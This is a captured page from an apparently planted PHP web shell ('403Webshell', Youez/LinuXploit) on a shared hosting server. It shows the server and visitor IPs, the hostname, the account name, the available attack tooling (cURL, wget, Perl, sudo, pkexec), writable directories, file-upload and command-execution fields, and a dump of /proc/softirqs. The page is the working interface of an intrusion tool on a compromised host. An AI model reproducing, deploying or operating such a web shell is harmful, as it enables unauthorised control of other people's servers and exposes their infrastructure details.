403Webshell
Server IP : 162.241.203.86  /  Your IP : 216.73.216.101
Web Server : Apache
System : Linux br1002.hostgator.com.br 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
User : luxlic01 ( 6532)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      CPU24      CPU25      CPU26      CPU27      CPU28      CPU29      CPU30      CPU31      
          HI:          0          0          0          0          0          1          0          1          0          0          0          2          0          0          1          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:   79134932   59018562   65954488   56613738  108751660   57104341   61031254   48134679   70742421   47059640   63148263   57370520   56824732   61112578   59625646   46691547   97934236   48960760   61543424   42518373   54272736   54675039   48361677   42446410          0          0          0          0          0          0          0          0
      NET_TX:        121         84        114         57        115         79         93         81         97         68        113         94        105         85         73         90         99         63        102         57        102         60        113         80          0          0          0          0          0          0          0          0
      NET_RX:  114450937   93040832   53972174  300918256  884750834   33117138  140190559  269349117  903090499   77731476  273859785  200111936   54930544  865645376  367578244  440562745  879749710   51388732  548367199   56572281   60416365  675953756   82948169  479325746          0          0          0          0          0          0          0          0
       BLOCK:         38          0          0          0          7          0          0          0          0          3          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    3849559    2330270    1060672   10065431    1325031     372384    6245706   13689303   49262875    2451728   15049243   11090913    1064643   48304038   18435454   26987292    4516624    2160184   25777029    2397708    2652653   24852185    3549579   23759408          0          0          0          0          0          0          0          0
       SCHED:  771076807  738888635  485932898  462364430  446044854  384717485  399960621  349202627  400092424  328546495  382018075  319011205  375399124  333270358  377520825  314868255  403322084  314898032  367095297  302535882  352506775  331544327  347754925  305865889          0          0          0          0          0          0          0          0
     HRTIMER:        622       5836        488      13498     141898        112       2769       7773      92518       1330       4383       5216       1749      41102      11149       5550     129234       2451      21083        923       1450      67213       1828      19362          0          0          0          0          0          0          0          0
         RCU: 1761324020 1507446037 1783161913 1509134277 1771925961 1501852332 1780004111 1501690864 1773349829 1489373146 1771401751 1495402716 1781474950 1491372950 1757327888 1488108063 1415425433 1196882801 1363477985 1171155025 1358678874 1192592109 1337172033 1177939362          0          0          0          0          0          0          0          0

Youez - 2016 - github.com/yon3zu
LinuXploit